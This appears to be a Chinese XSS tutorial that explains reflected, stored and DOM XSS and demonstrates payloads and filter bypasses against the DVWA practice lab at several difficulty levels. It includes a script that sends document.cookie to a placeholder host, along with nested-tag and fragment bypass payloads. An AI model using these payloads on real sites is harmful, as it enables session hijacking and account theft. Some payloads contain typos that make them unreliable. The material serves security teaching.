[红日安全]Web安全Day2 - XSS跨站实战攻防

本文由红日安全成员: Aixic 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1.XSS漏洞概述

1.1 漏洞简介

跨站脚本攻击—XSS(Cross Site Script),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。

1.2 XSS漏洞原理

1.2.1 反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
主要是GET类型

1.2.2 存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
例如:<srcipt>alert(/xss/)</srcipt>

1.2.3 DOM型

DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

1.3 XSS危害

1.3.1 盗取管理员cookie

盗取管理员的cookie然后登陆后台,获取到后台权限。

1.3.2 XSS蠕虫攻击

可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用

1.4 常用XSS语句

<script>alert(/xss/);</script> //经典语句

<BODY ONLOAD=alert('XSS')>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href = javasript:alert(1)>

1.5 XSS漏洞绕过

1.5.1 JS编码

三个八进制数;如果不够前面补0
两个十六进制数字;如果不够前面补0
四个十六进制数字;如果不够前面补0
控制字符

1.5.2 HTML实体编码

&开始;结束

1.5.3 URL编码

%27
考虑HTML的渲染方式选择合适的编码方式进行测试

1.6 XSS漏洞浏览器问题

有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对JavaScript的检测。

0x06 XSS漏洞防御

过滤输入的数据,和非法字符‘ “ < > on* 等”’
输出到页面的数据进行相应的编码转换包括HTML实体编码、JavaScript编码等

2. 测试方法

2.1 手工测试

这里我们选取DVWA靶场进行手工测试。

2.1.1

2.1.1.1 DVWA 简介

DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

2.1.1.2 DVWA 安装

https://github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。

修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉

因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场

用户名:admin 密码:password 登陆靶场

默认的难度是impossible级别,先选择low级别

2.1.1.3 测试过程

Low 
Low_DOM XSS 
</option></select><img src=## onerror=alert(document.cookie)>即可触发XSS

Low_Reflected XSS 
直接使用<script>alert(document.cookie)</script>

Low_Stored XSS 

Medium 
Medium_DOM XSS 
从Medium级别就开始有加固

可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在<script如果存在就重定向到?default=English
用之前low级别的代码就可以进行绕过

</option></select><img src=## onerror=alert(document.cookie)>

Medium_Reflected XSS 

分析发现现实判断是否为空,如果不为空再判断其中的内容如果有<script>就替换成空复写就可以绕过

<sc<script>ript>alert(document.cookie)</script>

Medium_Stored XSS

在信息框把所有的特殊字符都进行了addslashes转义,在name那块仍然可以用复写绕过、
但是name处限制了长度,改一下即可

High 
High_DOM XSS 
High级别的代码的限制就比较多,但是还能利用

只能选择case后面的参数来提交,如果不是就按照默认English
构造语句,这里的##是URL的锚点,让浏览器判断这里终止,主要是让本地存储这个xss语句,发送到服务端进行验证的是##前面的内容,达到了绕过的目的

English##<script>alert(document.cookie)</script>

High_Reflected XSS 

上述代码进行了正则替换,只要包含script这些都会进行替换,不使用script即可

<img src=1 onerror=alert(document.cookie)>

High_Stored XSS 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值